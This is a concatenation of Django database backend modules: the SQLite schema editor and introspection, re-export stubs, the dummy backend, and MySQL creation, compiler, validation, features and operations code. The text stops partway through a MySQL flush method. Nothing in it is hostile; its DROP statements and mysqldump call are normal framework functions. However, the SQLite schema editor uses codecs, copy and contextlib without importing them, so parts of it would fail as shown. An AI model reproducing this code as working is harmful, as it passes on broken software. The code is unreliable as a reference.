from decimal import Decimal

from django.apps.registry import Apps
from django.db.backends.base.schema import BaseDatabaseSchemaEditor
from django.utils import six


class DatabaseSchemaEditor(BaseDatabaseSchemaEditor):

    sql_delete_table = "DROP TABLE %(table)s"
    sql_create_inline_fk = "REFERENCES %(to_table)s (%(to_column)s)"
    sql_create_unique = "CREATE UNIQUE INDEX %(name)s ON %(table)s (%(columns)s)"
    sql_delete_unique = "DROP INDEX %(name)s"

    def __enter__(self):
        with self.connection.cursor() as c:
            # Some SQLite schema alterations need foreign key constraints to be
            # disabled. This is the default in SQLite but can be changed with a
            # build flag and might change in future, so can't be relied upon.
            # We enforce it here for the duration of the transaction.
            c.execute('PRAGMA foreign_keys')
            self._initial_pragma_fk = c.fetchone()[0]
            c.execute('PRAGMA foreign_keys = 0')
        return super(DatabaseSchemaEditor, self).__enter__()

    def __exit__(self, exc_type, exc_value, traceback):
        super(DatabaseSchemaEditor, self).__exit__(exc_type, exc_value, traceback)
        with self.connection.cursor() as c:
            # Restore initial FK setting - PRAGMA values can't be parametrized
            c.execute('PRAGMA foreign_keys = %s' % int(self._initial_pragma_fk))

    def quote_value(self, value):
        # The backend "mostly works" without this function and there are use
        # cases for compiling Python without the sqlite3 libraries (e.g.
        # security hardening).
        try:
            import sqlite3
            value = sqlite3.adapt(value)
        except ImportError:
            pass
        except sqlite3.ProgrammingError:
            pass
        # Manual emulation of SQLite parameter quoting
        if isinstance(value, type(True)):
            return str(int(value))
        elif isinstance(value, (Decimal, float)):
            return str(value)
        elif isinstance(value, six.integer_types):
            return str(value)
        elif isinstance(value, six.string_types):
            return "'%s'" % six.text_type(value).replace("\'", "\'\'")
        elif value is None:
            return "NULL"
        elif isinstance(value, (bytes, bytearray, six.memoryview)):
            # Bytes are only allowed for BLOB fields, encoded as string
            # literals containing hexadecimal data and preceded by a single "X"
            # character:
            # value = b'\x01\x02' => value_hex = b'0102' => return X'0102'
            value = bytes(value)
            hex_encoder = codecs.getencoder('hex_codec')
            value_hex, _length = hex_encoder(value)
            # Use 'ascii' encoding for b'01' => '01', no need to use force_text here.
            return "X'%s'" % value_hex.decode('ascii')
        else:
            raise ValueError("Cannot quote parameter value %r of type %s" % (value, type(value)))

    def _remake_table(self, model, create_field=None, delete_field=None, alter_field=None):
        """
        Shortcut to transform a model from old_model into new_model

        The essential steps are:
          1. rename the model's existing table, e.g. "app_model" to "app_model__old"
          2. create a table with the updated definition called "app_model"
          3. copy the data from the old renamed table to the new table
          4. delete the "app_model__old" table
        """
        # Self-referential fields must be recreated rather than copied from
        # the old model to ensure their remote_field.field_name doesn't refer
        # to an altered field.
        def is_self_referential(f):
            return f.is_relation and f.remote_field.model is model
        # Work out the new fields dict / mapping
        body = {
            f.name: f.clone() if is_self_referential(f) else f
            for f in model._meta.local_concrete_fields
        }
        # Since mapping might mix column names and default values,
        # its values must be already quoted.
        mapping = {f.column: self.quote_name(f.column) for f in model._meta.local_concrete_fields}
        # This maps field names (not columns) for things like unique_together
        rename_mapping = {}
        # If any of the new or altered fields is introducing a new PK,
        # remove the old one
        restore_pk_field = None
        if getattr(create_field, 'primary_key', False) or (
                alter_field and getattr(alter_field[1], 'primary_key', False)):
            for name, field in list(body.items()):
                if field.primary_key:
                    field.primary_key = False
                    restore_pk_field = field
                    if field.auto_created:
                        del body[name]
                        del mapping[field.column]
        # Add in any created fields
        if create_field:
            body[create_field.name] = create_field
            # Choose a default and insert it into the copy map
            if not create_field.many_to_many and create_field.concrete:
                mapping[create_field.column] = self.quote_value(
                    self.effective_default(create_field)
                )
        # Add in any altered fields
        if alter_field:
            old_field, new_field = alter_field
            body.pop(old_field.name, None)
            mapping.pop(old_field.column, None)
            body[new_field.name] = new_field
            if old_field.null and not new_field.null:
                case_sql = "coalesce(%(col)s, %(default)s)" % {
                    'col': self.quote_name(old_field.column),
                    'default': self.quote_value(self.effective_default(new_field))
                }
                mapping[new_field.column] = case_sql
            else:
                mapping[new_field.column] = self.quote_name(old_field.column)
            rename_mapping[old_field.name] = new_field.name
        # Remove any deleted fields
        if delete_field:
            del body[delete_field.name]
            del mapping[delete_field.column]
            # Remove any implicit M2M tables
            if delete_field.many_to_many and delete_field.remote_field.through._meta.auto_created:
                return self.delete_model(delete_field.remote_field.through)
        # Work inside a new app registry
        apps = Apps()

        # Provide isolated instances of the fields to the new model body so
        # that the existing model's internals aren't interfered with when
        # the dummy model is constructed.
        body = copy.deepcopy(body)

        # Work out the new value of unique_together, taking renames into
        # account
        unique_together = [
            [rename_mapping.get(n, n) for n in unique]
            for unique in model._meta.unique_together
        ]

        # Work out the new value for index_together, taking renames into
        # account
        index_together = [
            [rename_mapping.get(n, n) for n in index]
            for index in model._meta.index_together
        ]

        indexes = model._meta.indexes
        if delete_field:
            indexes = [
                index for index in indexes
                if delete_field.name not in index.fields
            ]

        # Construct a new model for the new state
        meta_contents = {
            'app_label': model._meta.app_label,
            'db_table': model._meta.db_table,
            'unique_together': unique_together,
            'index_together': index_together,
            'indexes': indexes,
            'apps': apps,
        }
        meta = type("Meta", tuple(), meta_contents)
        body['Meta'] = meta
        body['__module__'] = model.__module__

        temp_model = type(model._meta.object_name, model.__bases__, body)

        # We need to modify model._meta.db_table, but everything explodes
        # if the change isn't reversed before the end of this method. This
        # context manager helps us avoid that situation.
        @contextlib.contextmanager
        def altered_table_name(model, temporary_table_name):
            original_table_name = model._meta.db_table
            model._meta.db_table = temporary_table_name
            yield
            model._meta.db_table = original_table_name

        with altered_table_name(model, model._meta.db_table + "__old"):
            # Rename the old table to make way for the new
            self.alter_db_table(model, temp_model._meta.db_table, model._meta.db_table)

            # Create a new table with the updated schema. We remove things
            # from the deferred SQL that match our table name, too
            self.deferred_sql = [x for x in self.deferred_sql if temp_model._meta.db_table not in x]
            self.create_model(temp_model)

            # Copy data from the old table into the new table
            field_maps = list(mapping.items())
            self.execute("INSERT INTO %s (%s) SELECT %s FROM %s" % (
                self.quote_name(temp_model._meta.db_table),
                ', '.join(self.quote_name(x) for x, y in field_maps),
                ', '.join(y for x, y in field_maps),
                self.quote_name(model._meta.db_table),
            ))

            # Delete the old table
            self.delete_model(model, handle_autom2m=False)

        # Run deferred SQL on correct table
        for sql in self.deferred_sql:
            self.execute(sql)
        self.deferred_sql = []
        # Fix any PK-removed field
        if restore_pk_field:
            restore_pk_field.primary_key = True

    def delete_model(self, model, handle_autom2m=True):
        if handle_autom2m:
            super(DatabaseSchemaEditor, self).delete_model(model)
        else:
            # Delete the table (and only that)
            self.execute(self.sql_delete_table % {
                "table": self.quote_name(model._meta.db_table),
            })

    def add_field(self, model, field):
        """
        Creates a field on a model.
        Usually involves adding a column, but may involve adding a
        table instead (for M2M fields)
        """
        # Special-case implicit M2M tables
        if field.many_to_many and field.remote_field.through._meta.auto_created:
            return self.create_model(field.remote_field.through)
        self._remake_table(model, create_field=field)

    def remove_field(self, model, field):
        """
        Removes a field from a model. Usually involves deleting a column,
        but for M2Ms may involve deleting a table.
        """
        # M2M fields are a special case
        if field.many_to_many:
            # For implicit M2M tables, delete the auto-created table
            if field.remote_field.through._meta.auto_created:
                self.delete_model(field.remote_field.through)
            # For explicit "through" M2M fields, do nothing
        # For everything else, remake.
        else:
            # It might not actually have a column behind it
            if field.db_parameters(connection=self.connection)['type'] is None:
                return
            self._remake_table(model, delete_field=field)

    def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """Actually perform a "physical" (non-ManyToMany) field update."""
        # Alter by remaking table
        self._remake_table(model, alter_field=(old_field, new_field))

    def _alter_many_to_many(self, model, old_field, new_field, strict):
        """
        Alters M2Ms to repoint their to= endpoints.
        """
        if old_field.remote_field.through._meta.db_table == new_field.remote_field.through._meta.db_table:
            # The field name didn't change, but some options did; we have to propagate this altering.
            self._remake_table(
                old_field.remote_field.through,
                alter_field=(
                    # We need the field that points to the target model, so we can tell alter_field to change it -
                    # this is m2m_reverse_field_name() (as opposed to m2m_field_name, which points to our model)
                    old_field.remote_field.through._meta.get_field(old_field.m2m_reverse_field_name()),
                    new_field.remote_field.through._meta.get_field(new_field.m2m_reverse_field_name()),
                ),
            )
            return

        # Make a new through table
        self.create_model(new_field.remote_field.through)
        # Copy the data across
        self.execute("INSERT INTO %s (%s) SELECT %s FROM %s" % (
            self.quote_name(new_field.remote_field.through._meta.db_table),
            ', '.join([
                "id",
                new_field.m2m_column_name(),
                new_field.m2m_reverse_name(),
            ]),
            ', '.join([
                "id",
                old_field.m2m_column_name(),
                old_field.m2m_reverse_name(),
            ]),
            self.quote_name(old_field.remote_field.through._meta.db_table),
        ))
        # Delete the old through table
        self.delete_model(old_field.remote_field.through)






import re
from collections import namedtuple

from django.db.backends.base.introspection import (
    BaseDatabaseIntrospection, FieldInfo, TableInfo,
)

field_size_re = re.compile(r'^\s*(?:var)?char\s*\(\s*(\d+)\s*\)\s*$')
FieldInfo = namedtuple('FieldInfo', FieldInfo._fields + ('default',))


def get_field_size(name):
    """ Extract the size number from a "varchar(11)" type name """
    m = field_size_re.search(name)
    return int(m.group(1)) if m else None


# This light wrapper "fakes" a dictionary interface, because some SQLite data
# types include variables in them -- e.g. "varchar(30)" -- and can't be matched
# as a simple dictionary lookup.
class FlexibleFieldLookupDict(object):
    # Maps SQL types to Django Field types. Some of the SQL types have multiple
    # entries here because SQLite allows for anything and doesn't normalize the
    # field type; it uses whatever was given.
    base_data_types_reverse = {
        'bool': 'BooleanField',
        'boolean': 'BooleanField',
        'smallint': 'SmallIntegerField',
        'smallint unsigned': 'PositiveSmallIntegerField',
        'smallinteger': 'SmallIntegerField',
        'int': 'IntegerField',
        'integer': 'IntegerField',
        'bigint': 'BigIntegerField',
        'integer unsigned': 'PositiveIntegerField',
        'decimal': 'DecimalField',
        'real': 'FloatField',
        'text': 'TextField',
        'char': 'CharField',
        'blob': 'BinaryField',
        'date': 'DateField',
        'datetime': 'DateTimeField',
        'time': 'TimeField',
    }

    def __getitem__(self, key):
        key = key.lower()
        try:
            return self.base_data_types_reverse[key]
        except KeyError:
            size = get_field_size(key)
            if size is not None:
                return ('CharField', {'max_length': size})
            raise KeyError


class DatabaseIntrospection(BaseDatabaseIntrospection):
    data_types_reverse = FlexibleFieldLookupDict()

    def get_table_list(self, cursor):
        """
        Returns a list of table and view names in the current database.
        """
        # Skip the sqlite_sequence system table used for autoincrement key
        # generation.
        cursor.execute("""
            SELECT name, type FROM sqlite_master
            WHERE type in ('table', 'view') AND NOT name='sqlite_sequence'
            ORDER BY name""")
        return [TableInfo(row[0], row[1][0]) for row in cursor.fetchall()]

    def get_table_description(self, cursor, table_name):
        "Returns a description of the table, with the DB-API cursor.description interface."
        return [
            FieldInfo(
                info['name'],
                info['type'],
                None,
                info['size'],
                None,
                None,
                info['null_ok'],
                info['default'],
            ) for info in self._table_info(cursor, table_name)
        ]

    def column_name_converter(self, name):
        """
        SQLite will in some cases, e.g. when returning columns from views and
        subselects, return column names in 'alias."column"' format instead of
        simply 'column'.

        Affects SQLite < 3.7.15, fixed by http://www.sqlite.org/src/info/5526e0aa3c
        """
        # TODO: remove when SQLite < 3.7.15 is sufficiently old.
        # 3.7.13 ships in Debian stable as of 2014-03-21.
        if self.connection.Database.sqlite_version_info < (3, 7, 15):
            return name.split('.')[-1].strip('"')
        else:
            return name

    def get_relations(self, cursor, table_name):
        """
        Return a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """
        # Dictionary of relations to return
        relations = {}

        # Schema for this table
        cursor.execute("SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s", [table_name, "table"])
        try:
            results = cursor.fetchone()[0].strip()
        except TypeError:
            # It might be a view, then no results will be returned
            return relations
        results = results[results.index('(') + 1:results.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_desc in results.split(','):
            field_desc = field_desc.strip()
            if field_desc.startswith("UNIQUE"):
                continue

            m = re.search('references (\S*) ?\(["|]?(.*)["|]?\)', field_desc, re.I)
            if not m:
                continue
            table, column = [s.strip('"') for s in m.groups()]

            if field_desc.startswith("FOREIGN KEY"):
                # Find name of the target FK field
                m = re.match('FOREIGN KEY\(([^\)]*)\).*', field_desc, re.I)
                field_name = m.groups()[0].strip('"')
            else:
                field_name = field_desc.split()[0].strip('"')

            cursor.execute("SELECT sql FROM sqlite_master WHERE tbl_name = %s", [table])
            result = cursor.fetchall()[0]
            other_table_results = result[0].strip()
            li, ri = other_table_results.index('('), other_table_results.rindex(')')
            other_table_results = other_table_results[li + 1:ri]

            for other_desc in other_table_results.split(','):
                other_desc = other_desc.strip()
                if other_desc.startswith('UNIQUE'):
                    continue

                other_name = other_desc.split(' ', 1)[0].strip('"')
                if other_name == column:
                    relations[field_name] = (other_name, table)
                    break

        return relations

    def get_key_columns(self, cursor, table_name):
        """
        Returns a list of (column_name, referenced_table_name, referenced_column_name) for all
        key columns in given table.
        """
        key_columns = []

        # Schema for this table
        cursor.execute("SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s", [table_name, "table"])
        results = cursor.fetchone()[0].strip()
        results = results[results.index('(') + 1:results.rindex(')')]

        # Walk through and look for references to other tables. SQLite doesn't
        # really have enforced references, but since it echoes out the SQL used
        # to create the table we can look for REFERENCES statements used there.
        for field_index, field_desc in enumerate(results.split(',')):
            field_desc = field_desc.strip()
            if field_desc.startswith("UNIQUE"):
                continue

            m = re.search('"(.*)".*references (.*) \(["|](.*)["|]\)', field_desc, re.I)
            if not m:
                continue

            # This will append (column_name, referenced_table_name, referenced_column_name) to key_columns
            key_columns.append(tuple(s.strip('"') for s in m.groups()))

        return key_columns

    def get_indexes(self, cursor, table_name):
        indexes = {}
        for info in self._table_info(cursor, table_name):
            if info['pk'] != 0:
                indexes[info['name']] = {'primary_key': True,
                                         'unique': False}
        cursor.execute('PRAGMA index_list(%s)' % self.connection.ops.quote_name(table_name))
        # seq, name, unique
        for index, unique in [(field[1], field[2]) for field in cursor.fetchall()]:
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            info = cursor.fetchall()
            # Skip indexes across multiple fields
            if len(info) != 1:
                continue
            name = info[0][2]  # seqno, cid, name
            indexes[name] = {'primary_key': indexes.get(name, {}).get("primary_key", False),
                             'unique': unique}
        return indexes

    def get_primary_key_column(self, cursor, table_name):
        """
        Get the column name of the primary key for the given table.
        """
        # Don't use PRAGMA because that causes issues with some transactions
        cursor.execute("SELECT sql FROM sqlite_master WHERE tbl_name = %s AND type = %s", [table_name, "table"])
        row = cursor.fetchone()
        if row is None:
            raise ValueError("Table %s does not exist" % table_name)
        results = row[0].strip()
        results = results[results.index('(') + 1:results.rindex(')')]
        for field_desc in results.split(','):
            field_desc = field_desc.strip()
            m = re.search('"(.*)".*PRIMARY KEY( AUTOINCREMENT)?', field_desc)
            if m:
                return m.groups()[0]
        return None

    def _table_info(self, cursor, name):
        cursor.execute('PRAGMA table_info(%s)' % self.connection.ops.quote_name(name))
        # cid, name, type, notnull, default_value, pk
        return [{
            'name': field[1],
            'type': field[2],
            'size': get_field_size(field[2]),
            'null_ok': not field[3],
            'default': field[4],
            'pk': field[5],  # undocumented
        } for field in cursor.fetchall()]

    def get_constraints(self, cursor, table_name):
        """
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """
        constraints = {}
        # Get the index info
        cursor.execute("PRAGMA index_list(%s)" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # Sqlite3 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        "columns": [],
                        "primary_key": False,
                        "unique": bool(unique),
                        "foreign_key": False,
                        "check": False,
                        "index": True,
                    }
                constraints[index]['columns'].append(column)
            # Add column orders for indexes
            if constraints[index]['index'] and not constraints[index]['unique']:
                cursor.execute(
                    "SELECT sql FROM sqlite_master "
                    "WHERE type='index' AND name=%s" % self.connection.ops.quote_name(index)
                )
                orders = []
                # There would be only 1 row to loop over
                for sql, in cursor.fetchall():
                    order_info = sql.split('(')[-1].split(')')[0].split(',')
                    orders = ['DESC' if info.endswith('DESC') else 'ASC' for info in order_info]
                constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints["__primary__"] = {
                "columns": [pk_column],
                "primary_key": True,
                "unique": False,  # It's not actually a unique constraint.
                "foreign_key": False,
                "check": False,
                "index": False,
            }
        return constraints












from ..postgresql.creation import *  # NOQA






from ..postgresql.features import *  # NOQA






from ..postgresql.operations import *  # NOQA






from ..postgresql.client import *  # NOQA






from ..postgresql.base import *  # NOQA






from ..postgresql.schema import *  # NOQA






from ..postgresql.version import *  # NOQA






from ..postgresql.introspection import *  # NOQA












from ..postgresql.utils import *  # NOQA






from django.db.backends.base.features import BaseDatabaseFeatures


class DummyDatabaseFeatures(BaseDatabaseFeatures):
    supports_transactions = False






"""
Dummy database backend for Django.

Django uses this if the database ENGINE setting is empty (None or empty string).

Each of these API functions, except connection.close(), raises
ImproperlyConfigured.
"""

from django.core.exceptions import ImproperlyConfigured
from django.db.backends.base.base import BaseDatabaseWrapper
from django.db.backends.base.client import BaseDatabaseClient
from django.db.backends.base.creation import BaseDatabaseCreation
from django.db.backends.base.introspection import BaseDatabaseIntrospection
from django.db.backends.base.operations import BaseDatabaseOperations
from django.db.backends.base.validation import BaseDatabaseValidation
from django.db.backends.dummy.features import DummyDatabaseFeatures


def complain(*args, **kwargs):
    raise ImproperlyConfigured("settings.DATABASES is improperly configured. "
                               "Please supply the ENGINE value. Check "
                               "settings documentation for more details.")


def ignore(*args, **kwargs):
    pass


class DatabaseError(Exception):
    pass


class IntegrityError(DatabaseError):
    pass


class DatabaseOperations(BaseDatabaseOperations):
    quote_name = complain


class DatabaseClient(BaseDatabaseClient):
    runshell = complain


class DatabaseCreation(BaseDatabaseCreation):
    create_test_db = ignore
    destroy_test_db = ignore


class DatabaseIntrospection(BaseDatabaseIntrospection):
    get_table_list = complain
    get_table_description = complain
    get_relations = complain
    get_indexes = complain
    get_key_columns = complain


class DatabaseWrapper(BaseDatabaseWrapper):
    operators = {}
    # Override the base class implementations with null
    # implementations. Anything that tries to actually
    # do something raises complain; anything that tries
    # to rollback or undo something raises ignore.
    _cursor = complain
    ensure_connection = complain
    _commit = complain
    _rollback = ignore
    _close = ignore
    _savepoint = ignore
    _savepoint_commit = complain
    _savepoint_rollback = ignore
    _set_autocommit = complain

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)

        self.features = DummyDatabaseFeatures(self)
        self.ops = DatabaseOperations(self)
        self.client = DatabaseClient(self)
        self.creation = DatabaseCreation(self)
        self.introspection = DatabaseIntrospection(self)
        self.validation = BaseDatabaseValidation(self)

    def is_usable(self):
        return True












import subprocess
import sys

from django.db.backends.base.creation import BaseDatabaseCreation

from .client import DatabaseClient


class DatabaseCreation(BaseDatabaseCreation):

    def sql_table_creation_suffix(self):
        suffix = []
        test_settings = self.connection.settings_dict['TEST']
        if test_settings['CHARSET']:
            suffix.append('CHARACTER SET %s' % test_settings['CHARSET'])
        if test_settings['COLLATION']:
            suffix.append('COLLATE %s' % test_settings['COLLATION'])
        return ' '.join(suffix)

    def _clone_test_db(self, number, verbosity, keepdb=False):
        qn = self.connection.ops.quote_name
        source_database_name = self.connection.settings_dict['NAME']
        target_database_name = self.get_test_db_clone_settings(number)['NAME']

        with self._nodb_connection.cursor() as cursor:
            try:
                cursor.execute("CREATE DATABASE %s" % qn(target_database_name))
            except Exception as e:
                if keepdb:
                    return
                try:
                    if verbosity >= 1:
                        print("Destroying old test database for alias %s..." % (
                            self._get_database_display_str(verbosity, target_database_name),
                        ))
                    cursor.execute("DROP DATABASE %s" % qn(target_database_name))
                    cursor.execute("CREATE DATABASE %s" % qn(target_database_name))
                except Exception as e:
                    sys.stderr.write("Got an error recreating the test database: %s\n" % e)
                    sys.exit(2)

        dump_cmd = DatabaseClient.settings_to_cmd_args(self.connection.settings_dict)
        dump_cmd[0] = 'mysqldump'
        dump_cmd[-1] = source_database_name
        load_cmd = DatabaseClient.settings_to_cmd_args(self.connection.settings_dict)
        load_cmd[-1] = target_database_name

        dump_proc = subprocess.Popen(dump_cmd, stdout=subprocess.PIPE)
        load_proc = subprocess.Popen(load_cmd, stdin=dump_proc.stdout, stdout=subprocess.PIPE)
        dump_proc.stdout.close()    # allow dump_proc to receive a SIGPIPE if load_proc exits.
        load_proc.communicate()






from django.db.models.sql import compiler


class SQLCompiler(compiler.SQLCompiler):
    def as_subquery_condition(self, alias, columns, compiler):
        qn = compiler.quote_name_unless_alias
        qn2 = self.connection.ops.quote_name
        sql, params = self.as_sql()
        return '(%s) IN (%s)' % (', '.join('%s.%s' % (qn(alias), qn2(column)) for column in columns), sql), params


class SQLInsertCompiler(compiler.SQLInsertCompiler, SQLCompiler):
    pass


class SQLDeleteCompiler(compiler.SQLDeleteCompiler, SQLCompiler):
    pass


class SQLUpdateCompiler(compiler.SQLUpdateCompiler, SQLCompiler):
    pass


class SQLAggregateCompiler(compiler.SQLAggregateCompiler, SQLCompiler):
    pass






from django.core import checks
from django.db.backends.base.validation import BaseDatabaseValidation
from django.utils.version import get_docs_version


class DatabaseValidation(BaseDatabaseValidation):
    def check(self, **kwargs):
        issues = super(DatabaseValidation, self).check(**kwargs)
        issues.extend(self._check_sql_mode(**kwargs))
        return issues

    def _check_sql_mode(self, **kwargs):
        with self.connection.cursor() as cursor:
            cursor.execute("SELECT @@sql_mode")
            sql_mode = cursor.fetchone()
        modes = set(sql_mode[0].split(','))
        if not (modes & {'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES'}):
            return [checks.Warning(
                "MySQL Strict Mode is not set for database connection '%s'" % self.connection.alias,
                hint="MySQL's Strict Mode fixes many data integrity problems in MySQL, "
                     "such as data truncation upon insertion, by escalating warnings into "
                     "errors. It is strongly recommended you activate it. See: "
                     "https://docs.djangoproject.com/en/%s/ref/databases/#mysql-sql-mode"
                     % (get_docs_version(),),
                id='mysql.W002',
            )]
        return []

    def check_field(self, field, **kwargs):
        """
        MySQL has the following field length restriction:
        No character (varchar) fields can have a length exceeding 255
        characters if they have a unique index on them.
        """
        from django.db import connection

        errors = super(DatabaseValidation, self).check_field(field, **kwargs)

        # Ignore any related fields.
        if getattr(field, 'remote_field', None) is None:
            field_type = field.db_type(connection)

            # Ignore any non-concrete fields
            if field_type is None:
                return errors

            if (field_type.startswith('varchar') and field.unique and
                    (field.max_length is None or int(field.max_length) > 255)):
                errors.append(
                    checks.Error(
                        'MySQL does not allow unique CharFields to have a max_length > 255.',
                        obj=field,
                        id='mysql.E001',
                    )
                )
        return errors






from django.db.backends.base.features import BaseDatabaseFeatures
from django.utils.functional import cached_property

from .base import Database

try:
    import pytz
except ImportError:
    pytz = None


class DatabaseFeatures(BaseDatabaseFeatures):
    empty_fetchmany_value = ()
    update_can_self_select = False
    allows_group_by_pk = True
    related_fields_match_type = True
    allow_sliced_subqueries = False
    has_bulk_insert = True
    has_select_for_update = True
    has_select_for_update_nowait = False
    supports_forward_references = False
    supports_regex_backreferencing = False
    supports_date_lookup_using_string = False
    can_introspect_autofield = True
    can_introspect_binary_field = False
    can_introspect_small_integer_field = True
    supports_index_column_ordering = False
    supports_timezones = False
    requires_explicit_null_ordering_when_grouping = True
    allows_auto_pk_0 = False
    uses_savepoints = True
    can_release_savepoints = True
    atomic_transactions = False
    supports_column_check_constraints = False
    can_clone_databases = True
    supports_temporal_subtraction = True

    @cached_property
    def _mysql_storage_engine(self):
        "Internal method used in Django tests. Don't rely on this from your code"
        with self.connection.cursor() as cursor:
            cursor.execute("SELECT ENGINE FROM INFORMATION_SCHEMA.ENGINES WHERE SUPPORT = 'DEFAULT'")
            result = cursor.fetchone()
        return result[0]

    @cached_property
    def can_introspect_foreign_keys(self):
        "Confirm support for introspected foreign keys"
        return self._mysql_storage_engine != 'MyISAM'

    @cached_property
    def supports_microsecond_precision(self):
        # See https://github.com/farcepest/MySQLdb1/issues/24 for the reason
        # about requiring MySQLdb 1.2.5
        return self.connection.mysql_version >= (5, 6, 4) and Database.version_info >= (1, 2, 5)

    @cached_property
    def has_zoneinfo_database(self):
        # MySQL accepts full time zones names (eg. Africa/Nairobi) but rejects
        # abbreviations (eg. EAT). When pytz isn't installed and the current
        # time zone is LocalTimezone (the only sensible value in this
        # context), the current time zone name will be an abbreviation. As a
        # consequence, MySQL cannot perform time zone conversions reliably.
        if pytz is None:
            return False

        # Test if the time zone definitions are installed.
        with self.connection.cursor() as cursor:
            cursor.execute("SELECT 1 FROM mysql.time_zone LIMIT 1")
            return cursor.fetchone() is not None

    def introspected_boolean_field_type(self, *args, **kwargs):
        return 'IntegerField'

    @cached_property
    def is_sql_auto_is_null_enabled(self):
        with self.connection.cursor() as cursor:
            cursor.execute('SELECT @@SQL_AUTO_IS_NULL')
            result = cursor.fetchone()
            return result and result[0] == 1






from __future__ import unicode_literals

import uuid

from django.conf import settings
from django.db.backends.base.operations import BaseDatabaseOperations
from django.utils import six, timezone
from django.utils.encoding import force_text


class DatabaseOperations(BaseDatabaseOperations):
    compiler_module = "django.db.backends.mysql.compiler"

    # MySQL stores positive fields as UNSIGNED ints.
    integer_field_ranges = dict(
        BaseDatabaseOperations.integer_field_ranges,
        PositiveSmallIntegerField=(0, 65535),
        PositiveIntegerField=(0, 4294967295),
    )

    def date_extract_sql(self, lookup_type, field_name):
        # http://dev.mysql.com/doc/mysql/en/date-and-time-functions.html
        if lookup_type == 'week_day':
            # DAYOFWEEK() returns an integer, 1-7, Sunday=1.
            # Note: WEEKDAY() returns 0-6, Monday=0.
            return "DAYOFWEEK(%s)" % field_name
        else:
            return "EXTRACT(%s FROM %s)" % (lookup_type.upper(), field_name)

    def date_trunc_sql(self, lookup_type, field_name):
        fields = {
            'year': '%%Y-01-01',
            'month': '%%Y-%%m-01',
        }  # Use double percents to escape.
        if lookup_type in fields:
            format_str = fields[lookup_type]
            return "CAST(DATE_FORMAT(%s, '%s') AS DATE)" % (field_name, format_str)
        else:
            return "DATE(%s)" % (field_name)

    def _convert_field_to_tz(self, field_name, tzname):
        if settings.USE_TZ:
            field_name = "CONVERT_TZ(%s, 'UTC', %%s)" % field_name
            params = [tzname]
        else:
            params = []
        return field_name, params

    def datetime_cast_date_sql(self, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        sql = "DATE(%s)" % field_name
        return sql, params

    def datetime_cast_time_sql(self, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        sql = "TIME(%s)" % field_name
        return sql, params

    def datetime_extract_sql(self, lookup_type, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        sql = self.date_extract_sql(lookup_type, field_name)
        return sql, params

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        field_name, params = self._convert_field_to_tz(field_name, tzname)
        fields = ['year', 'month', 'day', 'hour', 'minute', 'second']
        format = ('%%Y-', '%%m', '-%%d', ' %%H:', '%%i', ':%%s')  # Use double percents to escape.
        format_def = ('0000-', '01', '-01', ' 00:', '00', ':00')
        try:
            i = fields.index(lookup_type) + 1
        except ValueError:
            sql = field_name
        else:
            format_str = ''.join([f for f in format[:i]] + [f for f in format_def[i:]])
            sql = "CAST(DATE_FORMAT(%s, '%s') AS DATETIME)" % (field_name, format_str)
        return sql, params

    def time_trunc_sql(self, lookup_type, field_name):
        fields = {
            'hour': '%%H:00:00',
            'minute': '%%H:%%i:00',
            'second': '%%H:%%i:%%s',
        }  # Use double percents to escape.
        if lookup_type in fields:
            format_str = fields[lookup_type]
            return "CAST(DATE_FORMAT(%s, '%s') AS TIME)" % (field_name, format_str)
        else:
            return "TIME(%s)" % (field_name)

    def date_interval_sql(self, timedelta):
        return "INTERVAL '%d 0:0:%d:%d' DAY_MICROSECOND" % (
            timedelta.days, timedelta.seconds, timedelta.microseconds), []

    def format_for_duration_arithmetic(self, sql):
        if self.connection.features.supports_microsecond_precision:
            return 'INTERVAL %s MICROSECOND' % sql
        else:
            return 'INTERVAL FLOOR(%s / 1000000) SECOND' % sql

    def force_no_ordering(self):
        """
        "ORDER BY NULL" prevents MySQL from implicitly ordering by grouped
        columns. If no ordering would otherwise be applied, we don't want any
        implicit sorting going on.
        """
        return [(None, ("NULL", [], False))]

    def fulltext_search_sql(self, field_name):
        # RemovedInDjango20Warning
        return 'MATCH (%s) AGAINST (%%s IN BOOLEAN MODE)' % field_name

    def last_executed_query(self, cursor, sql, params):
        # With MySQLdb, cursor objects have an (undocumented) "_last_executed"
        # attribute where the exact query sent to the database is saved.
        # See MySQLdb/cursors.py in the source distribution.
        return force_text(getattr(cursor, '_last_executed', None), errors='replace')

    def no_limit_value(self):
        # 2**64 - 1, as recommended by the MySQL documentation
        return 18446744073709551615

    def quote_name(self, name):
        if name.startswith("`") and name.endswith("`"):
            return name  # Quoting once is enough.
        return "`%s`" % name

    def random_function_sql(self):
        return 'RAND()'

    def sql_flush(self, style, tables, sequences, allow_cascade=False):
        # NB: The generated SQL below is specific to MySQL
        # 'TRUNCATE x;', 'TRUNCATE y;', 'TRUNCATE z;'... style SQL statements
        # to clear all tables of all data
        if tables:
            sql = ['SET FOREIGN_KEY_CHECKS = 0;']
